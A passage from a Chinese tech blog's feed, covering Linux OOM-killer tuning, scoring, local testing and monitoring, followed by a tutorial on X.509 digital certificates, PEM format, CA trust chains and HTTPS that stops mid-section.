&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;echo -1000 &amp;gt; &amp;#x2F;proc&amp;#x2F;PID&amp;#x2F;oom_score_adj
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;echo -17 &amp;gt; &amp;#x2F;proc&amp;#x2F;PID&amp;#x2F;oom_adj
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;3-zhao-chu-zui-ke-neng-chan-sheng-oomde-jin-cheng&quot;&gt;3. 找出最可能产生OOM的进程&lt;&#x2F;h4&gt;
&lt;p&gt;通过脚本计算一下所有进程的oom_score和oom_score_adj，就可以找出最可能产生OOM的进程,系统进程的OOM score是0，需要排除，脚本是网上找的，内容如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

printf &amp;#x27;PID\tOOM_Score\tOOM_Adj\tCommand\n&amp;#x27;

while read -r pid comm;
do
     [ -f &amp;#x2F;proc&amp;#x2F;$pid&amp;#x2F;oom_score ] &amp;amp;&amp;amp; [ $(cat &amp;#x2F;proc&amp;#x2F;$pid&amp;#x2F;oom_score) != 0 ] &amp;amp;&amp;amp; printf &amp;#x27;%d\t%d\t\t%d\t%s\n&amp;#x27; &amp;quot;$pid&amp;quot; &amp;quot;$(cat &amp;#x2F;proc&amp;#x2F;$pid&amp;#x2F;oom_score)&amp;quot; &amp;quot;$(cat &amp;#x2F;proc&amp;#x2F;$pid&amp;#x2F;oom_score_adj)&amp;quot; &amp;quot;$comm&amp;quot;;
done &amp;lt; &amp;lt;(ps -e -o pid= -o comm=) | sort -k 2nr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;4-shou-dong-hong-fa-oom-killer&quot;&gt;4. 手动触发OOM killer&lt;&#x2F;h4&gt;
&lt;p&gt;学习的时候需要测试OOM，可以用以下方法手动触发OOM&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;前台执行一个循环，不停的为变量赋值,最终就会耗光内存&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    for b in {0..99999999}; do a=$b$a; done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;多次循环触发OOM-killer&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    for x in {1..10}; do echo &amp;quot;Start trigger OOM-killer: $x&amp;quot;; bash -c &amp;quot;for b in {0..99999999}; do a=$b$a; done&amp;quot;; done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;基本上面的方式，边触发OOM-killer，边监控OOM score&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    #!&amp;#x2F;bin&amp;#x2F;bash

    oom(){
        echo &amp;quot;Start trigger OOM-killer&amp;quot; &amp;amp;&amp;amp; bash -c &amp;quot;for b in {0..99999999}; do a=$b$a; done&amp;quot;
    }

    oom &amp;amp;

    ppid=`ps -ef |grep -v grep |grep  99999999 |awk &amp;#x27;{print $3}&amp;#x27;`
    pid=`pgrep -P $ppid`

    echo ppid: $ppid
    echo fork pid: $pid

    while [ -d &amp;quot;&amp;#x2F;proc&amp;#x2F;$pid&amp;quot; ];
    do
        echo $pid :  oom_score: `cat &amp;#x2F;proc&amp;#x2F;$pid&amp;#x2F;oom_score`
    done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;5-oomjian-kong&quot;&gt;5. OOM监控&lt;&#x2F;h4&gt;
&lt;p&gt;OOM发生时，会在&#x2F;var&#x2F;log&#x2F;message中出现如下日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;Nov 26 10:51:25 nixops.me kernel: Out of memory: Kill process 18903 (bash) score 645 or sacrifice child
Nov 26 10:51:25 nixops.me kernel: Killed process 18903, UID 0, (bash) total-vm:3640712kB, anon-rss:3441992kB, file-rss:4kB
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;zabbix之类的监控软件可以通过关键字过滤，来进行监控。如果有ELK这类的日志系统，可以收集messages日志，用logstash插件进行告警。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>数字证书及CA详解</title>
        <published>2024-12-28T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/数字证书及ca详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/数字证书及ca详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/数字证书及ca详解/">&lt;h1 id=&quot;shu-zi-zheng-shu-ji-caxiang-jie&quot;&gt;数字证书及CA详解&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-zheng-shu&quot;&gt;1. 证书&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&amp;quot;证书 -- 为公钥加上数字签名&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;要开车得先考驾照．驾照上面记有本人的照片、姓名、出生日期等个人信息．以及有效期、准驾车辆的类型等信息，并由公安局在上面盖章。我们只要看到驾照，就可以知道公安局认定此人具有驾驶车辆的资格。&lt;&#x2F;p&gt;
&lt;p&gt;公钥证书（Public-Key Certificate，PKC)其实和驾照很相似，里面记有姓名、组织、邮箱地址等个人信息，以及属于此人的公钥，并由认证机构（Certification Authority、Certifying Authority, CA）施加数字签名。只要看到公钥证书，我们就可以知道认证机构认定该公钥的确属于此人。公钥证书也简称为证书（certificate）。&lt;&#x2F;p&gt;
&lt;p&gt;可能很多人都没听说过认证机构，认证机构就是能够认定 “公钥确实属于此人&quot;，并能够生成数字签名的个人或者组织。认证机构中有国际性组织和政府所设立的组织，也有通过提供认证服务来盈利的一般企业，此外个人也可以成立认证机构。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;1-1-zheng-shu-de-ying-yong-chang-jing&quot;&gt;1.1 证书的应用场景&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;下面我们来通过证书的代表性应用场景来理解证书的作用。&lt;&#x2F;p&gt;
&lt;p&gt;下图展示了Alice向Bob发送密文的场景，在生成密文时所使用的Bob的公钥是通过认证机构获取的。&lt;&#x2F;p&gt;
&lt;p&gt;认证机构必须是可信的，对于“可信的第三方”，下图中会使用Trent这个名字，这个词是从trust（信任）一词演变而来的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;digital-certificate-ca&#x2F;ca-certificate-scenario.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;下面让我们对照着上图来看一看这些步骤具体都做了些什么。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Bob生成密钥对
要使用公钥密码进行通信，首先需要生成密钥对。Bob生成了一对公钥和私钥，并将私钥自行妥善保管。在这里，密钥对是由Bob自己生成的，也可以由认证机构代为生成。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Bob在认证机构Trent注册自己的公钥&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在这里Bob则将公钥发送给了认证机构Trent，这是因为Bob需要请认证机构Trent对他的公钥加上数字签名（也就是生成证书）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Trent收到Bob的公钥后，会确认所收到的公钥是否为Bob本人所有（参见专栏：身份确认和认证业务准则）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;专栏：身份确认和认证业务准则&lt;&#x2F;p&gt;
&lt;p&gt;认证机构确认&quot;本人&quot;身份的方法和认证机构的认证业务准则（CertificatePractice Statement, CPS，的内容有关。如果认证机构提供的是测试用的服务，那么可能完全不会进行任何身份确认。如果是政府部门运營的认证机构，可能就需要根据法律规定来进行身份确认。如果是企业面向内部设立的认证机构，那就可能会给部门负责人打电话直接确认。&lt;&#x2F;p&gt;
&lt;p&gt;例如，VeriSign的认证业务准则中将身份确认分为Class1 ~ 3共三个等级&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Class1：通过向邮箱发送件来确认本人身份&lt;&#x2F;li&gt;
&lt;li&gt;Class2：通过第三方数据库来确认本人身份&lt;&#x2F;li&gt;
&lt;li&gt;Class3：通过当面认证和身份证明来确认本人身份&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;等级越高，身份确认越严格。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;认证机构Trent用自己的私钥对Bob的公钥施加数字签名并生成证书
Trent对Bob的公钥加上数字签名。为了生成数字签名，需要Trent自身的私钥，因此Trent需要事先生成好密钥对。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Alice得到带有认证机构Trent的数字签名的Bob的公钥（证书）
现在Alice需要向Bob发送密文，因此她从Trent处获取证书。证书中包含了Bob的公钥。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Alice使用认证机构Trent的公钥验证数字签名，确认Bob的公钥的合法性
Alice使用认证机构Trent的公钥对证书中的数字签名进行验证。如果验证成功，就相当于确认了证书中所包含的公钥的确是属于Bob的。到这里，Alice就得到了合法的Bob的公钥。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Alice用Bob的公钥加密消息并发送给Bob
Alice用Bob的公钥加密要发送的消息，并将消息发送给Bob。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Bob用自己的私钥解密密文得到Alice的消息
Bob收到Alice发送的密文，然后用自己的私钥解密，这样就能够看到Alice的消息了。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;上面就是利用认证机构Trent进行公钥密码通信的流程。其中1、2、3这几个步骤仅在注册新公钥时才会进行，并不是每次通信都需要。此外，步骤 4 仅在Alice第一次用公钥密码向Bob发送消息时才需要进行，只要Alice将Bob的公钥保存在电脑中，在以后的通信中就可以直接使用了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;1-2-zheng-shu-biao-zhun-gui-fan-x-509&quot;&gt;1.2 证书标准规范X.509&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;证书是由认证机构颁发的，使用者需要对证书进行验证，因此如果证书的格式千奇百怪那就不方便了。于是，人们制定了证书的标准规范，其中使用最广泛的是由ITU（International TelecommumcationUnion，国际电信联盟）和ISO（IntemationalOrganizationforStandardization, 国际标准化组织）制定的X.509规范。很多应用程序都支持x.509并将其作为证书生成和交换的标准规范。&lt;&#x2F;p&gt;
&lt;p&gt;X.509是一种非常通用的证书格式。所有的证书都符合ITU-T X.509国际标准，因此(理论上)为一种应用创建的证书可以用于任何其他符合X.509标准的应用。X.509证书的结构是用ASN1(Abstract Syntax Notation One)进行描述数据结构，并使用ASN.1语法进行编码。&lt;&#x2F;p&gt;
&lt;p&gt;在一份证书中，必须证明公钥及其所有者的姓名是一致的。对X.509证书来说，认证者总是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;baike.baidu.com&#x2F;item&#x2F;CA&quot;&gt;CA&lt;&#x2F;a&gt;或由CA指定的人，一份X.509证书是一些标准字段的集合，这些字段包含有关用户或设备及其相应公钥的信息。X.509标准定义了证书中应该包含哪些信息，并描述了这些信息是如何编码的(即数据格式)&lt;&#x2F;p&gt;
&lt;p&gt;一般来说，一个数字证书内容可能包括基本数据（版本、序列号) 、所签名对象信息（ 签名算法类型、签发者信息、有效期、被签发人、签发的公开密钥）、CA的数字签名，等等。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;1-2-1-zheng-shu-gui-fan&quot;&gt;1.2.1 证书规范&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;前使用最广泛的标准为ITU和ISO联合制定的X.509的 v3版本规范 (RFC5280）, 其中定义了如下证书信息域：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;版本号(Version Number）
：规范的版本号，目前为版本3，值为0x2；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;序列号（Serial Number）
：由CA维护的为它所发的每个证书分配的一的列号，用来追踪和撤销证书。只要拥有签发者信息和序列号，就可以唯一标识一个证书，最大不能过20个字节；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;签名算法（Signature Algorithm）
：数字签名所采用的算法，如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;sha256-with-RSA-Encryption&lt;&#x2F;li&gt;
&lt;li&gt;ccdsa-with-SHA2S6；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;颁发者（Issuer）
：发证书单位的标识信息，如 ” C=CN，ST=Beijing, L=Beijing, O=org.example.com，CN=ca.org。example.com ”；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;有效期(Validity)
: 证书的有效期很，包括起止时间。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;主体(Subject)
: 证书拥有者的标识信息（Distinguished Name），如：&quot; C=CN，ST=Beijing, L=Beijing, CN=person.org.example.com”；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;主体的公钥信息(SubJect Public Key Info）
：所保护的公钥相关的信息：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;公钥算法 (Public Key Algorithm）公钥采用的算法；&lt;&#x2F;li&gt;
&lt;li&gt;主体公钥（Subject Unique Identifier）：公钥的内容。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;颁发者唯一号（Issuer Unique Identifier）
：代表颁发者的唯一信息，仅2、3版本支持，可选；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;主体唯一号（Subject Unique Identifier）
：代表拥有证书实体的唯一信息，仅2，3版本支持，可选：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;扩展（Extensions，可选）
: 可选的一些扩展。中可能包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Subject Key Identifier：实体的秘钥标识符，区分实体的多对秘钥；&lt;&#x2F;li&gt;
&lt;li&gt;Basic Constraints：一指明是否属于CA;&lt;&#x2F;li&gt;
&lt;li&gt;Authority Key Identifier：证书颁发者的公钥标识符；&lt;&#x2F;li&gt;
&lt;li&gt;CRL Distribution Points: 撤销文件的颁发地址；&lt;&#x2F;li&gt;
&lt;li&gt;Key Usage：证书的用途或功能信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外，证书的颁发者还需要对证书内容利用自己的私钥添加签名， 以防止别人对证书的内容进行篡改。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;1-2-2-zheng-shu-ge-shi&quot;&gt;1.2.2 证书格式&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;X.509规范中一般推荐使用PEM(Privacy Enhanced Mail）格式来存储证书相关的文件。证书文件的文件名后缀一般为 .crt 或 .cer 。对应私钥文件的文件名后缀一般为 .key。证书请求文件的文件名后綴为 .csr 。有时候也统一用pem作为文件名后缀。&lt;&#x2F;p&gt;
&lt;p&gt;PEM格式采用文本方式进行存储。一般包括首尾标记和内容块，内容块采用Base64进行编码。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;编码格式总结:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;X.509 DER(Distinguished Encoding Rules)编码，后缀为：.der .cer .crt&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;X.509 BASE64编码(PEM格式)，后缀为：.pem .cer .crt&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;例如，一个PEM格式（base64编码）的示例证书文件内容如下所示：&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;-----BEGIN CERTIFICATE-----
MIIDyjCCArKgAwIBAgIQdZfkKrISoINLporOrZLXPTANBgkqhkiG9w0BAQsFADBn
MSswKQYDVQQLDCJDcmVhdGVkIGJ5IGh0dHA6Ly93d3cuZmlkZGxlcjIuY29tMRUw
EwYDVQQKDAxET19OT1RfVFJVU1QxITAfBgNVBAMMGERPX05PVF9UUlVTVF9GaWRk
bGVyUm9vdDAeFw0xNzA0MTExNjQ4MzhaFw0yMzA0MTExNjQ4MzhaMFoxKzApBgNV
BAsMIkNyZWF0ZWQgYnkgaHR0cDovL3d3dy5maWRkbGVyMi5jb20xFTATBgNVBAoM
DERPX05PVF9UUlVTVDEUMBIGA1UEAwwLKi5iYWlkdS5jb20wggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDX0AM198jxwRoKgwWsd9oj5vI0and9v9SB9Chl
gZEu6G9ZA0C7BucsBzJ2bl0Mf6qq0Iee1DfeydfEKyTmBKTafgb2DoQE3OHZjy0B
QTJrsOdf5s636W5gJp4f7CUYYA&amp;#x2F;3e1nxr&amp;#x2F;+AuG44Idlsi17TWodVKjsQhjzH+bK6
8ukQZyel1SgBeQOivzxXe0rhXzrocoeKZFmUxLkUpm+&amp;#x2F;mX1syDTdaCmQ6LT4KYYi
soKe4f+r2tLbUzPKxtk2F1v3ZLOjiRdzCOA27e5n88zdAFrCmMB4teG&amp;#x2F;azCSAH3g
Yb6vaAGaOnKyDLGunW51sSesWBpHceJnMfrhwxCjiv707JZtAgMBAAGjfzB9MA4G
A1UdDwEB&amp;#x2F;wQEAwIEsDATBgNVHSUEDDAKBggrBgEFBQcDATAWBgNVHREEDzANggsq
LmJhaWR1LmNvbTAfBgNVHSMEGDAWgBQ9UIffUQSuwWGOm+o74JffZJNadjAdBgNV
HQ4EFgQUQh8IksZqcMVmKrIibTHLbAgLRGgwDQYJKoZIhvcNAQELBQADggEBAC5Y
JndwXpm0W+9SUlQhAUSE9LZh+DzcSmlCWtBk+SKBwmAegbfNSf6CgCh0VY6iIhbn
GlszqgAOAqVMxAEDlR&amp;#x2F;YJTOlAUXFw8KICsWdvE01xtHqhk1tCK154Otci60Wu+tz
1t8999GPbJskecbRDGRDSA&amp;#x2F;gQGZJuL0rnmIuz3macSVn6tH7NwdoNeN68Uj3Qyt5
orYv1IFm8t55224ga8ac1y90hK4R5HcvN71aIjMKrikgynK0E+g45QypHRIe&amp;#x2F;z0S
&amp;#x2F;1W&amp;#x2F;6rqTgfN6OWc0c15hPeJbTtkntB5Fqd0sfsnKkW6jPsKQ+z&amp;#x2F;+vZ5XqzdlFupQ
29F14ei8ZHl9aLIHP5s=
-----END CERTIFICATE-----
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用openssl 工具命令:openssl x509 -in ca-cert.pem -inform pem -noout -text&lt;&#x2F;p&gt;
&lt;p&gt;证书中的解析出来的内容：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            10:e6:fc:62:b7:41:8a:d5:00:5e:45:b6
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=BE, O=GlobalSign nv-sa, CN=GlobalSign Organization Validation CA-SHA256-G2
        Validity
            Not Before: Nov 21 08:00:00 2016 GMT
            Not After : Nov 22 07:59:59 2017 GMT
        Subject: C=US, ST=California, L=San Francisco, O=Wikimedia Foundation, Inc., CN=*.wikipedia.org
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:c9:22:69:31:8a:d6:6c:ea:da:c3:7f:2c:ac:a5:
                    af:c0:02:ea:81:cb:65:b9:fd:0c:6d:46:5b:c9:1e:
                    ed:b2:ac:2a:1b:4a:ec:80:7b:e7:1a:51:e0:df:f7:
                    c7:4a:20:7b:91:4b:20:07:21:ce:cf:68:65:8c:c6:
                    9d:3b:ef:d5:c1
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature, Key Agreement
            Authority Information Access:
                CA Issuers - URI:http:&amp;#x2F;&amp;#x2F;secure.globalsign.com&amp;#x2F;cacert&amp;#x2F;gsorganizationvalsha2g2r1.crt
                OCSP - URI:http:&amp;#x2F;&amp;#x2F;ocsp2.globalsign.com&amp;#x2F;gsorganizationvalsha2g2

            X509v3 Certificate Policies:
                Policy: 1.3.6.1.4.1.4146.1.20
                  CPS: https:&amp;#x2F;&amp;#x2F;www.globalsign.com&amp;#x2F;repository&amp;#x2F;
                Policy: 2.23.140.1.2.2

            X509v3 Basic Constraints:
                CA:FALSE
            X509v3 CRL Distribution Points:

                Full Name:
                  URI:http:&amp;#x2F;&amp;#x2F;crl.globalsign.com&amp;#x2F;gs&amp;#x2F;gsorganizationvalsha2g2.crl

            X509v3 Subject Alternative Name:
                DNS:*.wikipedia.org, DNS:*.m.mediawiki.org, DNS:*.m.wikibooks.org, DNS:*.m.wikidata.org, DNS:*.m.wikimedia.org, DNS:*.m.wikimediafoundation.org, DNS:*.m.wikinews.org, DNS:*.m.wikipedia.org, DNS:*.m.wikiquote.org, DNS:*.m.wikisource.org, DNS:*.m.wikiversity.org, DNS:*.m.wikivoyage.org, DNS:*.m.wiktionary.org, DNS:*.mediawiki.org, DNS:*.planet.wikimedia.org, DNS:*.wikibooks.org, DNS:*.wikidata.org, DNS:*.wikimedia.org, DNS:*.wikimediafoundation.org, DNS:*.wikinews.org, DNS:*.wikiquote.org, DNS:*.wikisource.org, DNS:*.wikiversity.org, DNS:*.wikivoyage.org, DNS:*.wiktionary.org, DNS:*.wmfusercontent.org, DNS:*.zero.wikipedia.org, DNS:mediawiki.org, DNS:w.wiki, DNS:wikibooks.org, DNS:wikidata.org, DNS:wikimedia.org, DNS:wikimediafoundation.org, DNS:wikinews.org, DNS:wikiquote.org, DNS:wikisource.org, DNS:wikiversity.org, DNS:wikivoyage.org, DNS:wiktionary.org, DNS:wmfusercontent.org, DNS:wikipedia.org
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Subject Key Identifier:
                28:2A:26:2A:57:8B:3B:CE:B4:D6:AB:54:EF:D7:38:21:2C:49:5C:36
            X509v3 Authority Key Identifier:
                keyid:96:DE:61:F1:BD:1C:16:29:53:1C:C0:CC:7D:3B:83:00:40:E6:1A:7C

    Signature Algorithm: sha256WithRSAEncryption
         8b:c3:ed:d1:9d:39:6f:af:40:72:bd:1e:18:5e:30:54:23:35:
         ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;1-2-3-cazheng-shu&quot;&gt;1.2.3 CA证书&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;证书是用来证明某某东西确实是某某东西的东西（是不是像绕口令？）。通俗地说，证书就好比上文里面的公章。通过公章，可以证明对应的证件的真实性。&lt;&#x2F;p&gt;
&lt;p&gt;理论上，人人都可以找个证书工具，自己做一个证书。那如何防止坏人自己制作证书出来骗人捏？请看后续 CA 的介绍。&lt;&#x2F;p&gt;
&lt;p&gt;CA是Certificate Authority的缩写，也叫“证书授权中心”。&lt;&#x2F;p&gt;
&lt;p&gt;它是负责管理和签发证书的第三方机构, 好比一个可信任的中介公司。一般来说，CA必须是所有行业和所有公众都信任的、认可的。因此它必须具有足够的权威性。就好比A、B两公司都必须信任C公司，才会找 C 公司作为公章的中介。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;CA证书&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;CA 证书，顾名思义，就是CA颁发的证书。&lt;&#x2F;p&gt;
&lt;p&gt;前面已经说了，人人都可以找工具制作证书。但是你一个小破孩制作出来的证书是没啥用处的。因为你不是权威的CA机关，你自己搞的证书不具有权威性。&lt;&#x2F;p&gt;
&lt;p&gt;比如，某个坏人自己刻了一个公章，盖到介绍信上。但是别人一看，不是受信任的中介公司的公章，就不予理睬。坏蛋的阴谋就不能得逞啦。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;证书信任链&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;证书直接是可以有信任关系的, 通过一个证书可以证明另一个证书也是真实可信的. 实际上，证书之间的信任关系，是可以嵌套的。比如，C 信任 A1，A1 信任 A2，A2 信任 A3…这个叫做证书的信任链。只要你信任链上的头一个证书，那后续的证书，都是可以信任滴。&lt;&#x2F;p&gt;
&lt;p&gt;假设 C 证书信任 A 和 B；然后 A 信任 A1 和 A2；B 信任 B1 和 B2。则它们之间，构成如下的一个树形关系（一个倒立的树）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;digital-certificate-ca&#x2F;cert-trust-chain-tree.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;处于最顶上的树根位置的那个证书，就是“&lt;strong&gt;根证书&lt;&#x2F;strong&gt;”。除了根证书，其它证书都要依靠上一级的证书，来证明自己。那谁来证明“根证书”可靠捏？实际上，根证书自己证明自己是可靠滴（或者换句话说，根证书是不需要被证明滴）。&lt;&#x2F;p&gt;
&lt;p&gt;聪明的同学此刻应该意识到了：根证书是整个证书体系安全的根本。所以，如果某个证书体系中，根证书出了问题（不再可信了），那么所有被根证书所信任的其它证书，也就不再可信了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;证书有啥用&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;验证网站是否可信（针对HTTPS）&lt;&#x2F;strong&gt;
通常，我们如果访问某些敏感的网页（比如用户登录的页面），其协议都会使用 HTTPS 而不是 HTTP。因为 HTTP 协议是明文的，一旦有坏人在偷窥你的网络通讯，他&#x2F;她就可以看到网络通讯的内容（比如你的密码、银行帐号、等）；而 HTTPS 是加密的协议，可以保证你的传输过程中，坏蛋无法偷窥。
但是，千万不要以为，HTTPS 协议有了加密，就可高枕无忧了。俺再举一个例子来说明，光有加密是不够滴。假设有一个坏人，搞了一个假的网银的站点，然后诱骗你上这个站点。假设你又比较单纯，一不留神，就把你的帐号，口令都输入进去了。那这个坏蛋的阴谋就得逞鸟。
为了防止坏人这么干，HTTPS 协议除了有加密的机制，还有一套证书的机制。通过证书来确保，某个站点确实就是某个站点。
有了证书之后，当你的浏览器在访问某个 HTTPS 网站时，会验证该站点上的 CA 证书（类似于验证介绍信的公章）。如果浏览器发现该证书没有问题（证书被某个根证书信任、证书上绑定的域名和该网站的域名一致、证书没有过期），那么页面就直接打开；否则的话，浏览器会给出一个警告，告诉你该网站的证书存在某某问题，是否继续访问该站点？下面给出 IE 和 Firefox 的抓图：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
